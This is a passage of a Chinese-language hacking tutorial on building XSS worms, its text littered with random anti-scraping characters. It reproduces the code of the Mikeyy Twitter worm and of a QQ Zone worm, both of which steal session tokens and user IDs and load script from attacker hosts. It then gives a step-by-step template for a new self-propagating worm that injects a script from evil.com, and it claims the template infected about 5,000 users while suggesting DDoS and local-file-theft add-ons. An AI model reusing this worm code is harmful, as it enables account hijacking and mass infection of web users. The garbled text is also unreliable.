- V- |- M2 T& k 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } - E0 g, G2 B% v% v1 `6 f$ d
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 0 T6 T% Q4 d/ u+ \
+ d( y% I& v8 \# Q 8. catch(e) { _0x6687x2=false; }; }; };
9 D7 F8 A3 J y4 ~2 ]0 }: Y0 {复制代码第六版: 1. function wait() { " G" P) {6 v% B9 r, K) a2 x+ K! B& ?
6 s& k. t m. V
2. var content = document.documentElement.innerHTML; - V( ^3 K3 y- K2 c, ^5 _6 p
" b/ g% B0 v2 l; r# P1 i 3. var tmp_cookie=document.cookie; W1 d- I2 E; z$ Y5 X
3 }+ T' c& |0 A- \5 F' k) q 4. var tmp_posted=tmp_cookie.match(/posted/); 7 a7 p; ~6 T6 \- W$ \
* B0 M! C/ E( ^, N4 G ^ 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); % B. {7 ]' x6 X- r) G) l
2 a3 z3 V7 T0 l+ {% W6 I7 p0 W 6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; * k: O1 l4 _ V' @- ~& T
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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# n j: H$ Q, }1 ]: J, ]$ F 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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) w8 Q( D; Q# l* |. F8 {. n 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; - O9 }5 s' i7 j9 z5 z6 C- I0 M* X
6 t Q# U9 H$ n& b( s% } 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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% @. P2 n; j. g9 a5 W 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; # \7 f1 U" I8 ]2 n: y7 y9 Z
4 C. i0 N$ U8 W* U: r1 B; F 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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6 U3 ]$ |$ ~* O' ?& c# }5 ^ 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 4 X4 j+ |6 @9 ]) j$ ?6 m$ B l! J# Z' @
- b$ M0 i, j% g3 q 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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$ h3 Y- q. b! l6 \+ Z; l 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; + z% d, j% q1 v. X1 H/ x
8 ?6 p% D7 W ]& y5 Q' [% G+ i; _/ ? 24.
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& y) q% B7 `5 p7 w1 Z( g( x" t 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
! J" S. }; O( G: k7 t+ p3 z
: M% o! _ i4 g! G% A- t 26. var updateEncode=urlencode(randomUpdate[genRand]); + N. o: {: j- s1 ]( J# B' u' H; _: c b
- @; o6 J1 M$ r3 I7 V8 T d 27.
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+ g, z9 j" _. |2 U! `2 E8 W 28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 3 K7 P6 ]$ W$ D( W; M
( P+ T, T/ f, U/ L7 @* L4 w 30. var _0xf81bx1c="Mikeyy"; ( _8 A: n4 _/ m- b
* o+ k( t% b5 y0 H* p# b 31. var updateEncode=urlencode(_0xf81bx1c); % V* ?. p) q% {% x3 A! E
" |6 P; r% M- v% s, Y. ?/ e
32. var ajaxConn1= new XHConn(); 5 ] a8 X; |. r7 K% T6 G
: u4 i( L$ o4 J4 q" Y$ W) X 33. ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); $ P* s8 J+ i" t
! O& V: Z8 Q' `9 w+ F, s 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; " {" R M \# H; ~5 A5 N
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35. var XSS=urlencode(genXSS);
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36. var ajaxConn2= new XHConn();
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0 Z1 {1 f# {( t9 ^6 v* Z& L 37. ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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# S: o5 K& X3 [7 L& m+ {$ [8 Q 38. $ H( j, S7 T5 S1 d( j, A
' F& y/ c0 y4 H ^( u( q 39. } ;
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40. setTimeout(wait(),5250); 8 r& O. E$ F' X- W, j/ j j5 |: C
复制代码QQ空间XSSfunction killErrors() {return true;}
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window.onerror=killErrors;
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) v' D& T7 ?$ I! w2 I* N8 d7 g4 dvar shendu;shendu=4;8 R9 V0 ^8 [9 ^2 P# i
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//---------------global---v------------------------------------------ D5 _ L- E/ ~; G2 G. c+ @
) X( |$ ^& `0 |0 ~
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?) K n X. ?0 u) O; c: N
, P& z5 |# x) H& c. |% {1 Z! B, Nvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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var myblogurl=new Array();var myblogid=new Array();
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: E1 L: h. y8 ~ var gurl=document.location.href;
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var gurle=gurl.indexOf("com/");
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gurl=gurl.substring(0,gurle+3);
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- W1 V" p, Q$ Z" f- X6 S I g var visitorID=top.document.documentElement.outerHTML;
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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visitorID=visitorID.substring(cookieS+14);
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cookieS=visitorID.indexOf(",");1 V; x; A! X. R1 V0 ~( ^# K
5 i; t$ B* d/ ?* T% G; V visitorID=visitorID.substring(0,cookieS);
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; z; r5 f' k* F get_my_blog(visitorID);6 N# m# O( n( T$ H0 E8 I! W; v
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DOshuamy();
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9 r5 [3 t4 u3 ?" Y1 o//挂马* P! ]- P0 \5 x0 ^
, i/ R l7 r+ F4 Bfunction DOshuamy(){
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var ssr=document.getElementById("veryTitle");
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?# a0 o7 @ Y, \# f: b0 O
" @9 j% X/ Q C' zfunction get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象' o# E1 {; S# s% c& |* f9 U0 B
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if(xhr){ //成功就执行下面的$ R3 z& A. e! A: Z; @
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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xhr.send();guest=xhr.responseText;
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8 V8 _. S+ Y* F+ a& Q2 d! @: H get_my_blogurl(guest); //执行这个函数
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8 n7 A/ W$ z# k- x% H6 z6 z//这里似乎是判断没有登录的- h) w- `4 J! _" X9 T# f7 \% V
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function get_my_blogurl(guest){2 J6 C. y* U' R! u% V9 F2 J( b
/ J0 K% n% D' ^! p4 Z" D0 U var mybloglist=guest;4 } `7 r9 L: u+ w, y, b0 R2 h8 H
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var myurls;var blogids;var blogide;
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: \- K6 P/ W0 _8 N for(i=0;i<shendu;i++){
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8 @4 f) Q7 N. J8 u# a3 V myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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, `/ Y$ a% ^. R if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);
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myurls=mybloglist.indexOf(')');" @! L5 x, ]" }, K, ]* m' I
% G6 W; f( F) ?1 C myblogid=mybloglist.substring(0,myurls);
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4 D9 ^% f7 t$ E9 Z( Q0 ^. _' s }else{break;}* A+ l! o2 l8 c' I c9 ?
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}; S# r+ {9 V! V) m
, Y+ N9 {4 @: l0 d7 y* B% H) Mget_my_testself(); //执行这个函数
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3 I* N% q5 R- o0 J. [* y" R//这里往哪跳就不知道了
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function get_my_testself(){
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for(i=0;i<myblogid.length;i++){ //获得blogid的值# J1 C. E' N% ^% B k
; {0 I5 g% U' i4 U var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
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var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
+ c; s3 |6 p( h7 j+ J$ E$ `; @7 x4 q2 K" \) Z
if(xhr2){ //如果成功4 \0 C9 n$ [5 d3 O1 X/ h7 V1 H
' o/ i2 ?3 q1 E# E# |4 [9 t; [ xhr2.open("GET",url,false); //打开上面的那个url
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xhr2.send();
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guest2=xhr2.responseText;, T0 q/ o3 J! p& O6 f
9 p$ E2 l7 c: R# n2 b; Y var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?3 `4 c7 A9 J) a: O
: a! N ^ B9 e I* c
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串" w! P* `1 T9 H p8 ]( R% u
+ ]' o+ F7 G3 ` if(mycheckmydoit!="-1"){ //返回-1则代表没找到
$ U! F' m0 f r4 V8 i) ?
* q" A7 X! I" } `% R1 {% e, O7 V targetblogurlid=myblogid;
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add_jsdel(visitorID,targetblogurlid,gurl); //执行它
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break;
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6 t4 w+ q" t3 d- D9 a }
" Z/ {6 H. g; Y7 P" U
2 g' u% x/ C7 E! P+ `+ H% F if(mycheckit=="-1"){) w3 ~7 @8 d" J" K$ h
6 ]9 D0 s& v z$ ~$ E; N
targetblogurlid=myblogid;. y2 y# T! g, W% L( H' Q# G3 E5 g
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add_js(visitorID,targetblogurlid,gurl); //执行它7 H/ w& b( U+ E5 r$ X. U- ~) w
; Z% N; D, G* F4 S6 ^' u break;
1 c2 ~, ~% t7 M j2 u9 [1 [ H/ ^# ?! I% r& O( T
}/ r' n; \3 i0 m$ ~+ e* [& A
0 J, ?$ K- ^" N& m6 X+ I. X }
( W8 M% z% r6 S9 x& y2 {
. ]5 }1 T/ ]' w0 \}0 V* b- u& E* @! p4 x
6 q& E3 C& i9 D
}, }7 d6 x; b' o" e5 ^
0 c$ ~: A- G* L6 w/ U# S" e
$ |' t3 Q6 r3 O# Z1 v t8 z
/ T2 M, O ^" Q% L F: W) ~8 ^//--------------------------------------
' H# @; L& D3 m V2 K0 Y
( ]* b7 O' Q& `0 y" Q& r//根据浏览器创建一个XMLHttpRequest对象0 V! s1 c6 I% e* R- y6 v" o
6 o5 X+ E2 K3 z8 G: |# I
function createXMLHttpRequest(){$ }% W' g7 m1 c
; W0 t# ]! O9 P0 P# l# d* `$ n
var XMLhttpObject=null;
+ l! U D, {2 X. x) M
7 H+ U; M7 ~' `3 u3 }9 P/ F if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} % f) v" |, ~5 Q' q: b
9 X& `+ j) T7 R Z& W2 b( ]
else
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{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; , ]0 g- B& W8 Z7 Y D8 j
n6 Q3 B7 E: _8 @
for(var i=0;i<MSXML.length;i++) . \( k' E# l/ ?
) s+ Z r% M v2 T' n4 p { ; z( ^+ \1 C. r1 P& g
; V0 ^! d' I3 M0 P# P R' K6 t
try 3 {1 m' e$ R E8 g" r# r. j
# x# d8 I# h$ |( }* C
{ $ c& s( l! B; Z8 @- ^. v9 \
7 k( z- f% C& Z# x5 x XMLhttpObject=new ActiveXObject(MSXML);
$ W8 K* _: L3 O# [9 e/ H; Y7 ^
" e# p6 A8 f5 {7 x5 h4 X4 D break; : x0 U% Y" A5 R/ ?# [% ~+ s
$ o N7 w/ P% W0 z ~ }
/ v" S1 z+ ]; \% r3 H; r2 z# i* ^) Q) a. K
catch (ex) {
6 y% }2 P( }) Y/ C( C; Z* I2 ~* z/ ?
& Q( `- f% _/ n }
2 U f1 w b. P6 Z9 `, l3 I! |5 |! O
}
o% l( D4 \5 Z6 b6 |4 i0 M) i# ~2 k6 ]: N
}; M! o: C; b$ H* t$ |. @+ c: |
9 @, B9 V$ ?# @) K
return XMLhttpObject;
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} & z% S; A0 {" b& ^2 l
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//这里就是感染部分了 p1 F* |0 s* J0 |3 K
! Z, A- ~# B9 I3 m" q4 @9 Yfunction add_js(visitorID,targetblogurlid,gurl){' m! L: R4 G4 |& O
& `: D' q& E7 e6 \. \/ X: l; k8 d" @- {var s2=document.createElement('script');) \6 H. D2 A6 X7 ?4 B2 D
6 P$ S* O; m- S& T0 ]( r- Q8 V
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();6 M8 i+ H" F$ l1 c4 T# M
' E! `1 U5 N& A) f8 ` os2.type='text/javascript';% G+ c# g/ q# u
( r/ |9 O. e- |2 r" x" [: W" xdocument.getElementsByTagName('head').item(0).appendChild(s2);
5 T7 A! g8 x' Y x0 S, S8 q2 \4 O" [% h( x8 e0 }, t3 K$ o/ e
}) M: ~$ X/ ^6 K: P( e, J. ~
- h2 z' j0 \$ I4 u& M. Q' m- k
" R; D% H( P+ m- c- Efunction add_jsdel(visitorID,targetblogurlid,gurl){
e5 Z* G0 e& M2 T
[3 M; I1 M: x; S& a7 X! @var s2=document.createElement('script');/ {5 r/ q( I. u/ z$ E o+ l, v2 U
* q8 q2 Z0 ^! O. G. gs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();5 o. c2 N: m% g1 }$ m9 J
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s2.type='text/javascript';3 k' e1 W7 x+ r0 i/ @9 A: X) o
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document.getElementsByTagName('head').item(0).appendChild(s2);0 D4 f1 ~( p5 J! K6 i8 r
9 H' w& o1 d( {+ S}; A$ O, _1 N2 X
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:4 n# R/ d. [! c2 w3 N4 n9 {6 ~4 ~4 E
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
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2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
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) N2 l Y0 }( |' i7 o$ A; ^综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
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3 K h# {* a" W) n. E+ Y! e! {
/ H* _$ P$ M/ a( s下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
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首先,自然是判断不同浏览器,创建不同的对象var request = false;
* y8 l" b- n- F4 W# y3 F$ g7 T3 e3 l& g9 U& N
if(window.XMLHttpRequest) {7 }" T+ o, T5 {
' K* H( D8 m& O$ ?( Yrequest = new XMLHttpRequest();) s( e( U l- G, Y9 E! e
j" {6 D$ S4 m1 F) V0 X7 e' uif(request.overrideMimeType) {
$ V) \; Q7 R! y& G" \5 M$ P; q' G) z- C! K( U1 P5 I! `
request.overrideMimeType('text/xml');
8 Z( O. d; t% @" S# z$ H: z4 Y2 U3 ?; n( R* B+ W
} W) k; Z$ {" v2 c, m8 D7 i& n: {
$ {5 { m+ j+ o" W) k: o} else if(window.ActiveXObject) {
% v* E; p ^( R$ a h* b8 [9 }! j0 u3 F3 ?4 i2 E% c" w
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];6 @; q- \2 Y6 `: R
5 _( I3 ?2 {# V) D, Sfor(var i=0; i<versions.length; i++) {/ q6 c9 r! b& h8 \* n# L. }- G, H
( {* n2 q! x& J) S. }
try {( C6 q2 K m# x: U
, P, x3 Q( W3 \! I/ r; krequest = new ActiveXObject(versions);9 `+ L; ?" y: _+ v2 J8 ~
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} catch(e) {}2 b8 a. _# U. Y z9 v
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0 ?$ J# I0 {' ~% M8 O* t% v}) N ]5 L) i( A- \0 B" d
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xmlHttpReq=request;% K; N* F& F6 I# e3 ^
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
: W) q% R. h' M. u% U2 V4 k4 c1 e$ J5 { Q1 a& L% V* n
var Browser_Name=navigator.appName;
: N4 `! A' V2 [: @* t! y% p3 U' z6 y% ~2 s, r
var Browser_Version=parseFloat(navigator.appVersion);5 p/ y* O: b/ D e# r) M; \* q
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var Browser_Agent=navigator.userAgent;7 L4 E; w% P, A e# \5 y7 @
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% Y4 Q4 C/ o) G
6 h! n% f0 y3 @* a. E var Actual_Version,Actual_Name;
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5 K+ M p: L% `
var is_IE=(Browser_Name=="Microsoft Internet Explorer");8 ~( c/ q( f* k: F- N: L
. d* ~$ f7 T) @. F. U var is_NN=(Browser_Name=="Netscape");
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6 N$ @1 @0 B# f* i" T1 M8 E, K+ u var is_Ch=(Browser_Name=="Chrome");
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' p: r0 A$ ~, L/ D* y
8 a9 x9 Q; J2 u7 j2 a9 o7 g1 ? if(is_NN){6 j5 B& S' q, K; O7 L
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if(Browser_Version>=5.0){* C( `( n7 `0 |) U$ J% H
- O7 ?6 m8 N7 w4 G' E" C var Split_Sign=Browser_Agent.lastIndexOf("/");7 v) d' q! U2 l1 D
, `1 X+ ?, p7 K0 C! q. q var Version=Browser_Agent.indexOf(" ",Split_Sign);
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+ k' N1 y0 N5 O! B# U var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
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& y5 S2 W9 a" G" X/ F
+ E! S$ K! L. f8 i6 d2 o
. H8 m+ y8 k5 R7 a" }$ I% n W- @ Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
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Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
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}
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else{
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Actual_Version=Browser_Version;- g4 ]4 _* i9 f4 B& q3 A
& m5 T/ g' p! ]+ v
Actual_Name=Browser_Name;3 \8 q6 N1 V) F6 M/ b3 u+ u
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}/ d- t* v+ s+ h7 P+ j, o
/ v3 X3 j' G* J2 ?( \& i3 \3 K }
" y$ K% v: E) N1 r: a0 y1 q! c3 r- e( |4 _
else if(is_IE){. f) h' l- Y% u, e+ ], p
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var Version_Start=Browser_Agent.indexOf("MSIE");# K# D( Q5 F0 `; n6 c
; e' ] y( C* K4 { var Version_End=Browser_Agent.indexOf(";",Version_Start);0 G. ]5 I% M8 t% [4 g
4 H' o& l5 i1 S Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End) \1 k/ _* p7 B; q' `
9 } M. `; @* H* q' t$ y4 n Actual_Name=Browser_Name;* E7 `7 V- a( Z8 {
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4 ?6 l/ T/ r: m
if(Browser_Agent.indexOf("Maxthon")!=-1){
3 Y0 V- ]( W$ f7 l( t( P
4 c$ c) P- P4 D) z Actual_Name+="(Maxthon)";
$ L; f$ o0 m3 s; W' [/ u
' I) \% L4 k+ W; W) o7 o0 d }
" F4 `( j" j5 L2 U( I* B
& E) P0 M( D. q# I( Z+ R d else if(Browser_Agent.indexOf("Opera")!=-1){
4 Z( C2 K, T4 d
8 d* ^6 H7 H# M; O1 {1 b Actual_Name="Opera";
1 K% f' R7 d2 \2 {1 ?( S, \6 q0 {/ t; a( Y
var tempstart=Browser_Agent.indexOf("Opera");0 I4 n6 c3 j' M2 }# U5 B0 A8 X' S, G
8 g4 |7 ^9 z3 m7 k, j
var tempend=Browser_Agent.length;
% x* ~0 {$ {, a, z( D
9 K) }7 W5 G; ~+ G7 G4 O/ e- S Actual_Version=Browser_Agent.substring(tempstart+6,tempend)7 Q# j) p7 W, E3 u8 m+ r
/ T4 k: _) E0 u/ d8 X( D% j! a3 _
}
* ~+ {* O& W0 l! W# I
- \8 d1 E! Z- V" n }! o& |! c2 L5 v; @
0 `7 W0 ?$ x z7 l else if(is_Ch){! M. M x4 k' l# H- q& Z$ I
$ l! ^* ~3 T, [
var Version_Start=Browser_Agent.indexOf("Chrome");/ G0 A; I4 `9 \' N
1 \/ S" U& V( h
var Version_End=Browser_Agent.indexOf(";",Version_Start);1 J- v4 W& e+ }+ R- p1 ] ?1 I# c
( \: T) i3 L) b5 b; o ^
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
4 A& _. P% q9 w; X9 ]! [
9 d, a* ]8 e, O2 A( H& K4 K Actual_Name=Browser_Name;; l" |( d/ F9 L; a
# c: j7 r$ j5 [+ R; D 9 c7 h9 y0 w( ]# T
& D H9 ?: Y) H8 c
if(Browser_Agent.indexOf("Maxthon")!=-1){
4 K9 c) f: T) A7 M
6 p- V/ K9 K- n' `" D Actual_Name+="(Maxthon)";
7 }4 ^7 I8 b8 e0 k6 o
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: i4 Y$ o4 I8 Q5 t, K6 i' L8 ~ else if(Browser_Agent.indexOf("Opera")!=-1){; M3 F& K0 [$ l* X( ?8 A8 K
# ?$ U( F# J$ }0 K# H2 O' v Actual_Name="Opera";
, h' B3 E) g& T& r6 ?/ v& i
+ R1 ~0 S3 I/ N ^ var tempstart=Browser_Agent.indexOf("Opera");5 U( ? F9 k$ U1 g- X9 b2 J6 C
m9 K2 |" T% H5 X% y6 d( K
var tempend=Browser_Agent.length;% _) s4 r: ~1 B' x. [
0 z- o* n, f$ I) _) S: w
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)" S ]. h' @; Z) @0 j4 f
2 A4 J8 g$ ?* V/ B+ ^; M }5 o3 z* |" _+ v
5 R; b5 V, g& J
}9 G- u) O9 X( }
& B( v. K- P+ |, ~% ^, Q. j T
else{, p$ A0 X+ v6 F& ~& u# {
7 h( C6 F, m! Z, e6 [ Actual_Name="Unknown Navigator"" m W( J! a Q
1 H- b' G3 X: j& @* u% _- W# ` Actual_Version="Unknown Version"
1 g, C4 B9 q, s8 V7 j8 h; v( F3 i+ v/ d5 I
}4 l2 k7 f: P7 i& |- [* Z, F: d
. T1 C6 q5 [% p4 i
; C# ^3 T3 {( h% T6 _
, a6 g( B. k/ J8 Q' C; h. j1 F/ Z' G" O navigator.Actual_Name=Actual_Name;
& `. X: h0 u0 u. c! p+ M- W3 Y
navigator.Actual_Version=Actual_Version;& L$ L/ J5 k- ]: x
; y" R# o: g! f
2 E; j% l: c1 a; l0 O
, S b* W- v, ^; Y: z8 D I7 N8 k
this.Name=Actual_Name;( W8 v7 K0 E: S- O z
' F! o9 z' {* Z' |" ]
this.Version=Actual_Version;, r/ p; k8 T6 h5 V! g o
" ~- _8 |$ U P# y7 U3 d Q
} p% c4 P r6 p+ u, \! h) E- I
* n+ e, \4 ~+ d8 z browserinfo();& k" a; ]. n3 A. M9 \: X9 S
7 m# o" K$ c0 l) o
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
9 S# B8 V; a- h6 T" k# D% Q3 m, _0 ^: j, w4 E
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
+ l( W9 C- a) w* X8 u2 x, ^/ E" k" ~! H0 I F1 t
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
8 M4 H5 Z# Y4 @, d S" B+ L6 }9 k0 |+ \
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
) d% M+ n% d4 z复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码5 j3 ^. K0 Q* A9 X
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码* S1 Q. g5 f$ w* H" y
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面. f7 e2 k7 d- o/ I/ m. e
$ t6 F2 Z2 K- L% H: z; OxmlHttpReq.send(null);5 j. o+ }6 e- ^- L$ P+ B$ ~/ O5 R C
! _$ K7 ]4 a2 F0 x* V( Zvar resource = xmlHttpReq.responseText;
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var id=0;var result;7 Q$ t1 y9 i9 G4 Q9 I
5 X2 \0 ]- o" y! N9 y {! A
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
" I! i* F) _. ]( r; N: ~& P$ }+ E+ ]
while ((result = patt.exec(resource)) != null) {7 ` k C7 w8 |) K# c
g& P0 \' t5 E. t" K3 X3 e7 X+ Pid++;) ^! X4 X4 C1 z: v
# V0 @8 k3 I* `( R4 Y5 K3 p}
* d0 `; d% b: w# I8 A1 [/ I复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只./ e$ ], _( @ r9 k k2 o1 n- I1 f
; f: |$ d# E+ q7 \& z( ~, c
no=resource.search(/my name is/);
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6 X) ]; @: T. N$ q1 t' Kvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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4 k1 P: g, R# l5 S0 V1 Mvar post="wd="+wd;
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3 a: m1 m0 S( v- LxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");7 f% Y$ B6 ]: Q$ D3 U* Z: l" E
. F: h5 ^& Y; @- d3 K9 wxmlHttpReq.setRequestHeader("content-length",post.length);
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3 J" u# ?! G5 y% R4 C( z) UxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);
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8 n# x6 n* a" t复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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/ P; u# i' {7 t9 @var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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3 J e$ Z! {0 T8 ` R2 fvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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+ b3 {' a# f, n1 [6 Q% Rvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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! y; s: o4 s2 F5 p9 i! V5 A, b/ b/ Jvar post="wd="+wd;
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9 k- E& D( |- ~xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); % p% a! u# ^/ @2 K7 i F9 S
6 l) T/ g9 s$ S/ t4 l3 ]xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");: b1 s- ^; u2 Q# J
3 h8 P8 ^4 ^7 B, I) V1 c1 Y4 `xmlHttpReq.send(post); //把传播的信息 POST出去.9 L V* C& I* K# n! b |% k9 Q
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}
+ D6 K! o; o/ s( @8 e& Y复制代码-----------------------------------------------------总结-------------------------------------------------------------------( q. q5 A9 L$ h: t, c c
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, Z2 t* B$ Y' n! K" l( s0 h1 c本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.) Z& {( [3 Q& b& D, B9 o B- {
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
" s" l7 }. B! P, p8 k4 A操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.* l# o G. k3 \3 t* ?6 W4 b- a- Z
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本文引用文档资料:2 x% ?7 N5 v3 q0 L& ^, z
, E7 ]9 @ \% Q"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)( l) F, \# H' O% M
Other XmlHttpRequest tricks (Amit Klein, January 2003)
1 }+ e9 n9 G! a; r# a, ~"Cross Site Tracing" (Jeremiah Grossman, January 2003)
2 k! T! p4 i P! B# P0 [1 C3 y/ ?http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
$ R" a) f: Q! x+ V; I: H空虚浪子心BLOG http://www.inbreak.net: M$ t- k% f/ o; n& \& G" S8 _9 X( x
Xeye Team http://xeye.us/: y, n" G# N+ X& C
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